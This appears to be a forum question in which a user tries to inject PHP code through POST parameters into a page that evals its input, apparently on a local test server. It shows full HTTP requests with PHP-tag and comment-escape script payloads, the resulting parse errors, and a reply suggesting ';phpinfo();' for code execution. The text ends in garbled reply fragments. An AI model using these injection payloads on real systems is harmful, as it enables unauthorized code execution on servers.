I'm trying to bypass a page that has an eval()
and it works like this:
POST /anything.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
parameter1=aaa¶meter2=asdfas!-->
<?php echo "<p>1234</p>");
?>
And the result in the response is:
Common, debugging: <!-- print the array method _POST: <pre>Array
(
[parameter1] => aaa
[parameter2] => asdfas!-->
<?php echo "<p>11</p>");
?>
)
</pre>-->
The result when I render page is:
Common, debugging: 11
");?>)-->
I have tried many things, such as trying to escape the single and double quotes but I have not been able to get the Bypass. I only get errors when the eval()d' error page is rendered.
For example, if I put in the request:
<?php echo 'a';
The response is:
<br />
<b>Parse error</b>: syntax error, unexpected 'a' (T_STRING) in <b>/var/www/html/anything.php(10) : eval()'d code</b> on line <b>5</b><br />
Common, debugging: <!-- print the array method _POST: <pre>Array
(
[parameter1] => aaa
[parameter2] => asdfas!-->
<?php echo 'a';
?>
)
</pre>-->
Could someone please point me in the direction of bypass? Thank you very much.
Edited:
From what I've noticed, every time I put a code like this:
<?php echo(1); ?>
I become the page like this:
<!--?php echo(1); ?-->
I have seen in the next part and it works for me to execute an alert in Javascript, but it doesn't work for me to do the Bypass for PHP:
My request:
POST /anything.php HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
Connection: close
Upgrade-Insecure-Requests: 1
parameter1=anything1¶meter2=anything2</pre>."!-->
<!-- --><script>alert('Success');</script><!-- -->
Response:
HTTP/1.1 200 OK
Date: Sun, 10 Jan 2020 23:26:34 GMT
Server: Apache/2.x.x
X-Powered-By: PHP/5.4
Content-Length: 406
Connection: close
Content-Type: text/html; charset=UTF-8
<br />
<b>Parse error</b>: syntax error, unexpected 'Success' (T_STRING) in <b>/var/www/html/anything.php(13) : eval()'d code</b> on line <b>3</b><br />
Common, debugging: <!-- print the array method _POST: <pre>Array
(
[parameter1] => anything1
[parameter2] => anything2</pre>."!-->
<!-- --><script>alert('Success');</script><!-- -->
)
</pre>-->
And the alert is successfully executed.
eval()
and exactly what input is passed to it?<?php
), maybe just try the stringphpinfo()
;phpinfo();
, and it will work, no tags of any sort needed. You are making it confusing by trying to inject HTML and JavaScript instead of focusing on PHP.